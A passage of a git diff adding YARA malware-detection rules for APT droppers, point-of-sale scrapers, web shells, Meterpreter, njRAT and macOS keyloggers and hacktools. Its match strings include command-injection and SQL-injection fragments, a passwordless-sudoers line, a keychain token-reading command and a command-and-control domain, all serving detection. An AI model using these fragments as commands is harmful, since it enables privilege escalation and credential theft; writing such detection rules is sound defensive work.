+    maltype = "APT.PCCLient"
+    filetype = "DLL"
+    version = "0.1"
+    description = "Detects the dropper: 869fa4dfdbabfabe87d334f85ddda234 AKA dw20.dll/msacm32.drv dropped by 4a85af37de44daf5917f545c6fd03902 (RTF)"
+    date = "2012-10"
+strings:
+    $magic = { 4d 5a } // MZ
+    $string1 = "www.micro1.zyns.com"
+    $string2 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"
+    $string3 = "msacm32.drv" wide
+    $string4 = "C:\\Windows\\Explorer.exe" wide
+    $string5 = "Elevation:Administrator!" wide
+    $string6 = "C:\\Users\\cmd\\Desktop\\msacm32\\Release\\msacm32.pdb"
+condition:
+    $magic at 0 and 4 of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/1aN0rmus/memory.yara b/yara-mikesxrs/1aN0rmus/memory.yara
new file mode 100644
index 0000000..80e2b8e
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/memory.yara
@@ -0,0 +1,19 @@
+rule pos_memory_scrapper
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Point of Sale (POS) Malware Memory Scraper"
+    version = "0.1"
+    description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa -> http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+    date = "12/30/2013"
+strings:
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+condition:
+    all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/1aN0rmus/pos_malware.yara b/yara-mikesxrs/1aN0rmus/pos_malware.yara
new file mode 100644
index 0000000..db2e269
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/pos_malware.yara
@@ -0,0 +1,76 @@
+// Point of Sale (POS) Malware
+
+rule pos_memory_scrapper2
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Point of Sale (POS) Malware Memory Scraper"
+    version = "0.2"
+    description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+    date = "01/03/2014"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+    $string7 = "KAPTOXA" nocase
+condition:
+    ($magic at 0) and all of ($string*)
+}
+rule pos_malwre_dexter_stardust
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Dexter Malware - StarDust Variant"
+    version = "0.1"
+    description = "Table 2 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+    reference = "16b596de4c0e4d2acdfdd6632c80c070, 2afaa709ef5260184cbda8b521b076e1, and e3dd1dc82ddcfaf410372ae7e6b2f658"
+    date = "12/30/2013"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "ceh_3\\.\\ceh_4\\..\\ceh_6"
+    $string2 = "Yatoed3fe3rex23030am39497403"
+    $string3 = "Poo7lo276670173quai16568unto1828Oleo9eds96006nosysump7hove19"
+    $string4 = "CommonFile.exe"
+condition:
+    ($magic at 0) and all of ($string*)
+}
+    
+rule pos_malware_project_hook
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Project Hook"
+    version = "0.1"
+    description = "Table 1 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+    reference = "759154d20849a25315c4970fe37eac59"
+    date = "12/30/2013"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "CallImage.exe"
+    $string2 = "BurpSwim"
+    $string3 = "Work\\Project\\Load"
+    $string4 = "WortHisnal"
+    
+condition:
+    ($magic at 0) and all of ($string*)
+}
+
+rule pdb_strings_Rescator
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "N/A Threat Intel..."
+    version = "0.2"
+    description = "Rescator PDB strings within binaries"
+    date = "01/03/2014"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $pdb1 = "\\Projects\\Rescator" nocase
+condition:
+    ($magic at 0) and $pdb1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/1aN0rmus/rtf_rules.yara b/yara-mikesxrs/1aN0rmus/rtf_rules.yara
new file mode 100644
index 0000000..2fcd213
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/rtf_rules.yara
@@ -0,0 +1,71 @@
+rule rtf_Kaba_jDoe
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "APT.Kaba"
+    filetype = "RTF"
+    version = "0.1"
+    description = "fe439af268cd3de3a99c21ea40cf493f, d0e0e68a88dce443b24453cc951cf55f, b563af92f144dea7327c9597d9de574e, and def0c9a4c732c3a1e8910db3f9451620"
+    date = "2013-12-10"
+strings:
+    $magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+    $magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+    $magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+    $author1 = { 4A 6F 68 6E 20 44 6F 65 } // "John Doe"
+    $author2 = { 61 75 74 68 6f 72 20 53 74 6f 6e 65 } // "author Stone"
+    $string1 = { 44 30 [16] 43 46 [23] 31 31 45 }
+condition:
+    ($magic1 or $magic2 or $magic3 at 0) and all of ($author*) and $string1
+} 
+
+rule rtf_yahoo_ken
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Yahoo Ken"
+    filetype = "RTF"
+    version = "0.1"
+    description = "Test rule"
+    date = "2013-12-14"
+strings:
+    $magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+    $magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+    $magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+    $author1 = { 79 61 68 6f 6f 20 6b 65 63 } // "yahoo ken"
+condition:
+    ($magic1 or $magic2 or $magic3 at 0) and $author1
+} 
+
+rule Backdoor_APT_Mongall
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Backdoor.APT.Mongall"
+    version = "0.1"
+    reference = "fd69a799e21ccb308531ce6056944842" 
+    date = "01/04/2014"
+strings:
+    $author  = "author user"
+    $title   = "title Vjkygdjdtyuj" nocase
+    $comp    = "company ooo"
+    $cretime = "creatim\\yr2012\\mo4\\dy19\\hr15\\min10"
+    $passwd  = "password 00000000"
+condition:
+        all of them
+}
+
+rule tran_duy_linh
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Misc."
+    version = "0.1"
+    reference = "8fa804105b1e514e1998e543cd2ca4ea, 872876cfc9c1535cd2a5977568716ae1, etc." 
+    date = "2013-12-12"
+strings:
+    $magic = {D0 CF 11 E0} //DOCFILE0
+    $string1 = "Tran Duy Linh" fullword
+    $string2 = "DLC Corporation" fullword
+condition:
+    $magic at 0 and all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/1aN0rmus/web_log_review.yara b/yara-mikesxrs/1aN0rmus/web_log_review.yara
new file mode 100644
index 0000000..083acf0
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/web_log_review.yara
@@ -0,0 +1,56 @@
+rule web_log_review
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.1"
+    reference = "Key words in weblogs - Very likely FPs in here."
+    date = "2013-12-14"
+strings:
+    $s =   "GET /.htaccess" nocase
+    $s0 =  "GET /db/main.php" nocase
+    $s3 =  "GET /dbadmin/main.php" nocase
+    $s4 =  "GET /phpinfo.php" nocase
+    $s5 =  "GET /password" nocase
+    $s6 =  "GET /passwd" nocase
+    $s7 =  "GET /phpmyadmin2" nocase
+    $s8 =  "GET /c99shell.php" nocase
+    $s9 =  "GET /c99.php" nocase
+    $s10 = "GET /response.write" nocase
+    $s11 = "GET /&dir" nocase
+    $s12 = "backdoor.php" nocase
+    $s13 = "GET /.htpasswd" nocase
+    $s14 = "GET /htaccess.bak" nocase
+    $s15 = "GET /htaccess.txt" nocase
+    $s16 = "GET /.bash_history" nocase
+    $s17 = "GET /_sqladm" nocase
+    $s18 = "'$IFS/etc/privpasswd;'" nocase
+    $s19 = ";cat /tmp/config/usr.ini" nocase
+    $s20 = "v0pCr3w" nocase
+    $s21 = "eval(base64_decode" nocase
+    $s22 = "nob0dyCr3w" nocase
+    $s23 = "eval(gzinflate" nocase
+    $s24 = "Hacked by" fullword
+    $s25 = "%5Bcmd%5D" nocase
+    $s26 = "[cmd]" nocase
+    $s27 = "union+select" nocase
+    $s28 = "UNION%20SELECT" nocase
+    $s29 = "(str_rot13" nocase
+
+condition:
+    any of ($s*)
+}
+
+rule acunetix_web_scanner
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.1"
+    reference = "Acunetix Web Scanner"
+    date = "2013-12-14"
+strings:
+    $s =   "acunetix_wvs_security_test"
+    $s0 =  "testasp.vulnweb.com"
+    $s1 =  "GET /www.acunetix.tst"
+condition:
+    any of ($s*)
+}
diff --git a/yara-mikesxrs/1aN0rmus/web_rules.yara b/yara-mikesxrs/1aN0rmus/web_rules.yara
new file mode 100644
index 0000000..e5e10ed
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/web_rules.yara
@@ -0,0 +1,132 @@
+rule php_exploit_GIF
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "GIF Exploits"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$string1 = "; // md5 Login" nocase
+	$string2 = "; // md5 Password" nocase
+	$string3 = "shell_exec"
+	$string4 = "(base64_decode"
+	$string5 = "<?php"
+	$string6 = "(str_rot13"
+	$string7 = {3c 3f 70 68 70} // <?php
+condition:
+	($magic at 0) and any of ($string*)
+}
+
+rule html_exploit_GIF
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shells"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$string1 = {3c 68 74 6d 6c 3e} // <html>
+	$string2 = {3c 48 54 4d 4c 3e} // <HTML>
+condition:
+	($magic at 0) and (any of ($string*))
+}
+
+rule web_shell_crews
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shell Crews"
+	version = "0.4"
+	reference = "http://www.exploit-db.com/exploits/24905/"
+	date = "12/29/2013"
+strings:
+	$mz = { 4d 5a } // MZ
+    
+	$string1 = "v0pCr3w"
+	$string2 = "BENJOLSHELL"
+	$string3 = "EgY_SpIdEr"
+	$string4 = "<title>HcJ"
+	$string5 = "0wn3d"
+	$string6 = "OnLy FoR QbH"
+	$string7 = "wSiLm"
+	$string8 = "b374k r3c0d3d"
+	$string9 = "x'1n73ct|d"
+	$string10 = "## CREATED BY KATE ##"
+	$string11 = "Ikram Ali"
+	$string12 = "FeeLCoMz"
+	$string13 = "s3n4t00r"
+	$string14 = "FaTaLisTiCz_Fx"
+	$string15 = "feelscanz.pl"
+	$string16 = "##[ KONFIGURASI"
+	$string17 = "Created by Kiss_Me"
+	$string18 = "Casper_Cell"
+	$string19 = "# [ CREWET ] #"
+    	$string20 = "BY MACKER"
+    	$string21 = "FraNGky"
+    	$string22 = "1dt.w0lf"
+    	$string23 = "Modification By iFX" nocase
+condition:
+	not $mz at 0 and any of ($string*)
+}
+
+rule misc_php_exploits
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.4"
+	data = "12/29/2013"
+	reference = "Virus Total Downloading PHP files and reviewing them..."
+strings:
+	$mz = { 4d 5a } // MZ
+	$php = "<?php"
+	$string1 = "eval(gzinflate(str_rot13(base64_decode("
+	$string2 = "eval(base64_decode("
+	$string3 = "eval(gzinflate(base64_decode("
+	$string4 = "cmd.exe /c"
+	$string5 = "eva1"
+	$string6 = "urldecode(stripslashes("
+	$string7 = "preg_replace(\"/.*/e\",\"\\x"
+	$string8 = "<?php echo \"<script>"
+	$string9 = "'o'.'w'.'s'" // 'Wi'.'nd'.'o'.'w'.'s'
+	$string10 = "preg_replace(\"/.*/\".'e',chr"
+	$string11 = "exp1ode"
+	$string12 = "cmdexec(\"killall ping;"
+	$string13 = "r57shell.php"
+condition:
+	not $mz at 0 and $php and any of ($string*)
+}
+
+rule zend_framework
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Zend Framework"
+	version = "0.3"
+	date = ""12/29/2013""
+strings:
+	$mz = { 4d 5a } // MZ
+	$php = "<?php"
+	$string = "$zend_framework" nocase
+condition:
+	not $mz at 0 and $php and $string
+}
+
+rule jpg_web_shell
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	data = "12/19/2013"
+	reference = "http://www.securelist.com/en/blog/208214192/Malware_in_metadata"
+strings:
+	$magic = { ff d8 ff e? } // e0, e1, e8
+	$string1 = "<script src"
+	$string2 = "/.*/e"
+	$string3 = "base64_decode"
+condition:
+	($magic at 0) and 1 of ($string*)
+}  
diff --git a/yara-mikesxrs/73mp74710n/73mp74710n_index.yara b/yara-mikesxrs/73mp74710n/73mp74710n_index.yara
new file mode 100644
index 0000000..a81dff6
--- /dev/null
+++ b/yara-mikesxrs/73mp74710n/73mp74710n_index.yara
@@ -0,0 +1,53 @@
+
+
+rule android_meterpreter
+{
+    meta:
+        author="73mp74710n"
+        comment="Metasploit Android Meterpreter Payload"
+        
+    strings:
+	$checkPK = "META-INF/PK"
+	$checkHp = "[Hp^"
+	$checkSdeEncode = /;.Sk/
+	$stopEval = "eval"
+	$stopBase64 = "base64_decode"
+	
+    condition:
+	any of ($check*) or any of ($stop*)
+}
+
+global rule isExecutable
+{
+	meta:
+		author="73mp74710n"
+		description="Yara rule to check for unobfuscated rat created with njrat"
+	strings: 
+		$MZ = { 4D 5A 90 00 }
+		$PE = { 50 45 00 00 }
+	condition:
+		$MZ at 0 and $PE
+	
+}
+
+/*
+
+rule njRat  
+{
+	
+	strings:
+		$firewallDelete = "firewall delete allowed " wide
+		$firewallAdded = "firewall add" wide
+
+		/*ftw, ping ??*/
+	/*	$ping = "ping" wide 
+
+		/*regular expressoin to match an ip address*/
+	/*	$regularExp = /([0-9]{1,3}\.){3}[0-9]{1,3}/ wide
+		
+	condition:
+		 any of ($firewall*) or $ping or $regularExp 
+		
+}
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/73mp74710n/android_metasploit.yar b/yara-mikesxrs/73mp74710n/android_metasploit.yar
new file mode 100644
index 0000000..ba8a27c
--- /dev/null
+++ b/yara-mikesxrs/73mp74710n/android_metasploit.yar
@@ -0,0 +1,16 @@
+rule android_meterpreter
+{
+    meta:
+        author="73mp74710n"
+        comment="Metasploit Android Meterpreter Payload"
+        
+    strings:
+	$checkPK = "META-INF/PK"
+	$checkHp = "[Hp^"
+	$checkSdeEncode = /;.Sk/
+	$stopEval = "eval"
+	$stopBase64 = "base64_decode"
+	
+    condition:
+	any of ($check*) or any of ($stop*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/73mp74710n/njrat.yar b/yara-mikesxrs/73mp74710n/njrat.yar
new file mode 100644
index 0000000..92fd6de
--- /dev/null
+++ b/yara-mikesxrs/73mp74710n/njrat.yar
@@ -0,0 +1,34 @@
+global rule isExecutable
+{
+	meta:
+		author="73mp74710n"
+		description="Yara rule to check for unobfuscated rat created with njrat"
+	strings: 
+		$MZ = { 4D 5A 90 00 }
+		$PE = { 50 45 00 00 }
+	condition:
+		$MZ at 0 and $PE
+	
+}
+
+/*
+
+rule njRat  
+{
+	
+	strings:
+		$firewallDelete = "firewall delete allowed " wide
+		$firewallAdded = "firewall add" wide
+
+		/*ftw, ping ??*/
+	/*	$ping = "ping" wide 
+
+		/*regular expressoin to match an ip address*/
+	/*	$regularExp = /([0-9]{1,3}\.){3}[0-9]{1,3}/ wide
+		
+	condition:
+		 any of ($firewall*) or $ping or $regularExp 
+		
+}
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/AirBnB/MachO.yar b/yara-mikesxrs/AirBnB/MachO.yar
new file mode 100644
index 0000000..42c59a9
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/MachO.yar
@@ -0,0 +1,7 @@
+private rule MachO
+{
+    meta:
+        description = "Mach-O binaries"
+    condition:
+        uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
+}
diff --git a/yara-mikesxrs/AirBnB/eicar.yar b/yara-mikesxrs/AirBnB/eicar.yar
new file mode 100644
index 0000000..999196f
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/eicar.yar
@@ -0,0 +1,18 @@
+rule eicar_av_test {
+    /*
+       Per standard, match only if entire file is EICAR string plus optional trailing whitespace.
+       The raw EICAR string to be matched is:
+       X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
+    */
+
+    meta:
+        description = "This is a standard AV test, intended to verify that BinaryAlert is working correctly."
+        author = "Austin Byers | Airbnb CSIRT"
+        reference = "http://www.eicar.org/86-0-Intended-use.html"
+
+    strings:
+        $eicar_regex = /^X5O!P%@AP\[4\\PZX54\(P\^\)7CC\)7\}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H\+H\*\s*$/
+
+    condition:
+        $eicar_regex
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_exploit_cve_2015_5889.yara b/yara-mikesxrs/AirBnB/hacktool_macos_exploit_cve_2015_5889.yara
new file mode 100644
index 0000000..82df91c
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_exploit_cve_2015_5889.yara
@@ -0,0 +1,16 @@
+rule hacktool_macos_exploit_cve_5889
+{
+    meta:
+        description = "http://www.cvedetails.com/cve/cve-2015-5889"
+        reference = "https://www.exploit-db.com/exploits/38371/"
+        author = "@mimeframe"
+    strings:
+        $a1 = "/etc/sudoers" fullword wide ascii
+        $a2 = "/etc/crontab" fullword wide ascii
+        $a3 = "* * * * * root echo" wide ascii
+        $a4 = "ALL ALL=(ALL) NOPASSWD: ALL" wide ascii
+        $a5 = "/usr/bin/rsh" fullword wide ascii
+        $a6 = "localhost" fullword wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_exploit_tpwn.yara b/yara-mikesxrs/AirBnB/hacktool_macos_exploit_tpwn.yara
new file mode 100644
index 0000000..a0ac2cf
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_exploit_tpwn.yara
@@ -0,0 +1,14 @@
+rule hacktool_macos_exploit_tpwn
+{
+    meta:
+        description = "tpwn exploits a null pointer dereference in XNU to escalate privileges to root."
+        reference = "https://www.rapid7.com/db/modules/exploit/osx/local/tpwn"
+        author = "@mimeframe"
+    strings:
+        $a1 = "[-] Couldn't find a ROP gadget, aborting." wide ascii
+        $a2 = "leaked kaslr slide," wide ascii
+        $a3 = "didn't get root, but this system is vulnerable." wide ascii
+        $a4 = "Escalating privileges! -qwertyoruiop" wide ascii
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_juuso_keychaindump.yara b/yara-mikesxrs/AirBnB/hacktool_macos_juuso_keychaindump.yara
new file mode 100644
index 0000000..693ab5b
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_juuso_keychaindump.yara
@@ -0,0 +1,16 @@
+rule hacktool_macos_juuso_keychaindump
+{
+    meta:
+        description = "For reading OS X keychain passwords as root."
+        reference = "https://github.com/juuso/keychaindump"
+        author = "@mimeframe"
+    strings:
+        $a1 = "[-] Too many candidate keys to fit in memory" wide ascii
+        $a2 = "[-] Could not allocate memory for key search" wide ascii
+        $a3 = "[-] Too many credentials to fit in memory" wide ascii
+        $a4 = "[-] The target file is not a keychain file" wide ascii
+        $a5 = "[-] Could not find the securityd process" wide ascii
+        $a6 = "[-] No root privileges, please run with sudo" wide ascii
+    condition:
+        4 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_b4rsby_swiftlog.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_b4rsby_swiftlog.yara
new file mode 100644
index 0000000..ae4cfdc
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_b4rsby_swiftlog.yara
@@ -0,0 +1,11 @@
+rule hacktool_macos_keylogger_b4rsby_swiftlog
+{
+    meta:
+        description = "Dirty user level command line keylogger hacked together in Swift."
+        reference = "https://github.com/b4rsby/SwiftLog"
+        author = "@mimeframe"
+    strings:
+        $a1 = "You need to enable the keylogger in the System Prefrences" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_caseyscarborough.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_caseyscarborough.yara
new file mode 100644
index 0000000..73c39a7
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_caseyscarborough.yara
@@ -0,0 +1,14 @@
+rule hacktool_macos_keylogger_caseyscarborough
+{
+    meta:
+        description = "A simple and easy to use keylogger for macOS."
+        reference = "https://github.com/caseyscarborough/keylogger"
+        author = "@mimeframe"
+    strings:
+        $a1 = "/var/log/keystroke.log" wide ascii
+        $a2 = "ERROR: Unable to create event tap." wide ascii
+        $a3 = "Keylogging has begun." wide ascii
+        $a4 = "ERROR: Unable to open log file. Ensure that you have the proper permissions." wide ascii
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_dannvix.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_dannvix.yara
new file mode 100644
index 0000000..21a5904
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_dannvix.yara
@@ -0,0 +1,13 @@
+rule hacktool_macos_keylogger_dannvix
+{
+    meta:
+        description = "A simple keylogger for macOS."
+        reference = "https://github.com/dannvix/keylogger-osx"
+        author = "@mimeframe"
+    strings:
+        $a1 = "/var/log/keystroke.log" wide ascii
+        $a2 = "<forward-delete>" wide ascii
+        $a3 = "<unknown>" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_eldeveloper_keystats.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_eldeveloper_keystats.yara
new file mode 100644
index 0000000..42e83f5
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_eldeveloper_keystats.yara
@@ -0,0 +1,13 @@
+rule hacktool_macos_keylogger_eldeveloper_keystats
+{
+    meta:
+        description = "A simple keylogger for macOS."
+        reference = "https://github.com/ElDeveloper/keystats"
+        author = "@mimeframe"
+    strings:
+        $a1 = "YVBKeyLoggerPerishedNotification" wide ascii
+        $a2 = "YVBKeyLoggerPerishedByLackOfResponseNotification" wide ascii
+        $a3 = "YVBKeyLoggerPerishedByUserChangeNotification" wide ascii
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_giacomolaw.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_giacomolaw.yara
new file mode 100644
index 0000000..f0a0d5f
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_giacomolaw.yara
@@ -0,0 +1,13 @@
+rule hacktool_macos_keylogger_giacomolaw
+{
+    meta:
+        description = "A simple keylogger for macOS."
+        reference = "https://github.com/GiacomoLaw/Keylogger"
+        author = "@mimeframe"
+    strings:
+        $a1 = "ERROR: Unable to access keystroke log file. Please make sure you have the correct permissions." wide ascii
+        $a2 = "ERROR: Unable to create event tap." wide ascii
+        $a3 = "Keystrokes are now being recorded" wide ascii
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_logkext.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_logkext.yara
new file mode 100644
index 0000000..97a2ac3
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_logkext.yara
@@ -0,0 +1,25 @@
+rule hacktool_macos_keylogger_logkext
+{
+    meta:
+        description = "LogKext is an open source keylogger for Mac OS X, a product of FSB software."
+        reference = "https://github.com/SlEePlEs5/logKext"
+        author = "@mimeframe"
+    strings:
+        // daemon
+        $a1 = "logKextPassKey" wide ascii
+        $a2 = "Couldn't get system keychain:" wide ascii
+        $a3 = "Error finding secret in keychain" wide ascii
+        $a4 = "com_fsb_iokit_logKext" wide ascii
+        // client
+        $b1 = "logKext Password:" wide ascii
+        $b2 = "Logging controls whether the daemon is logging keystrokes (default is on)." wide ascii
+        // logkextkeygen
+        $c1 = "logKextPassKey" wide ascii
+        $c2 = "Error: couldn't create secAccess" wide ascii
+        // logkext
+        $d1 = "IOHIKeyboard" wide ascii
+        $d2 = "Clear keyboards called with kextkeys" wide ascii
+        $d3 = "Added notification for keyboard" wide ascii
+    condition:
+        3 of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara
new file mode 100644
index 0000000..2b325a2
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara
@@ -0,0 +1,13 @@
+rule hacktool_macos_keylogger_roxlu_ofxkeylogger
+{
+    meta:
+        description = "ofxKeylogger keylogger."
+        reference = "https://github.com/roxlu/ofxKeylogger"
+        author = "@mimeframe"
+    strings:
+        $a1 = "keylogger_init" wide ascii
+        $a2 = "install_keylogger_hook function not found in dll." wide ascii
+        $a3 = "keylogger_set_callback" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_skreweverything_swift.yara b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_skreweverything_swift.yara
new file mode 100644
index 0000000..380a143
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_keylogger_skreweverything_swift.yara
@@ -0,0 +1,15 @@
+rule hacktool_macos_keylogger_skreweverything_swift
+{
+    meta:
+        description = "It is a simple and easy to use keylogger for macOS written in Swift."
+        reference = "https://github.com/SkrewEverything/Swift-Keylogger"
+        author = "@mimeframe"
+    strings:
+        $a1 = "Can't create directories!" wide ascii
+        $a2 = "Can't create manager" wide ascii
+        $a3 = "Can't open HID!" wide ascii
+        $a4 = "PRINTSCREEN" wide ascii
+        $a5 = "LEFTARROW" wide ascii
+    condition:
+        4 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_macpmem.yara b/yara-mikesxrs/AirBnB/hacktool_macos_macpmem.yara
new file mode 100644
index 0000000..af5406f
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_macpmem.yara
@@ -0,0 +1,22 @@
+include "../../MachO.yara"
+
+rule hacktool_macos_macpmem
+{
+    meta:
+        description = "MacPmem enables read/write access to physical memory on macOS. Can be used by CSIRT teams and attackers."
+        reference = "https://github.com/google/rekall/tree/master/tools/osx/MacPmem"
+        author = "@mimeframe"
+    strings:
+        // osxpmem
+        $a1 = "%s/MacPmem.kext" wide ascii
+        $a2 = "The Pmem physical memory imager." wide ascii
+        $a3 = "The OSXPmem memory imager." wide ascii
+        $a4 = "These AFF4 Volumes will be loaded and their metadata will be parsed before the program runs." wide ascii
+        $a5 = "Pmem driver version incompatible. Reported" wide ascii
+        $a6 = "Memory access driver left loaded since you specified the -l flag." wide ascii
+        // kext
+        $b1 = "Unloading MacPmem" wide ascii
+        $b2 = "MacPmem load tag is" wide ascii
+    condition:
+        MachO and 2 of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_icloudcontacts.yara b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_icloudcontacts.yara
new file mode 100644
index 0000000..d8eab22
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_icloudcontacts.yara
@@ -0,0 +1,14 @@
+rule hacktool_macos_manwhoami_icloudcontacts
+{
+    meta:
+        description = "Pulls iCloud Contacts for an account. No dependencies. No user notification."
+        reference = "https://github.com/manwhoami/iCloudContacts"
+        author = "@mimeframe"
+    strings:
+        $a1 = "https://setup.icloud.com/setup/authenticate/" wide ascii
+        $a2 = "https://p04-contacts.icloud.com/" wide ascii
+        $a3 = "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?" wide ascii
+        $a4 = "HTTP Error 404: URL not found. Did you enter a username?" wide ascii
+    condition:
+        3 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_mmetokendecrypt.yara b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_mmetokendecrypt.yara
new file mode 100644
index 0000000..4ec1474
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_mmetokendecrypt.yara
@@ -0,0 +1,15 @@
+rule hacktool_macos_manwhoami_mmetokendecrypt
+{
+    meta:
+        description = "This program decrypts / extracts all authorization tokens on macOS / OS X / OSX."
+        reference = "https://github.com/manwhoami/MMeTokenDecrypt"
+        author = "@mimeframe"
+    strings:
+        $a1 = "security find-generic-password -ws 'iCloud'" wide ascii
+        $a2 = "ERROR getting iCloud Decryption Key" wide ascii
+        $a3 = "Could not find MMeTokenFile. You can specify the file manually." wide ascii
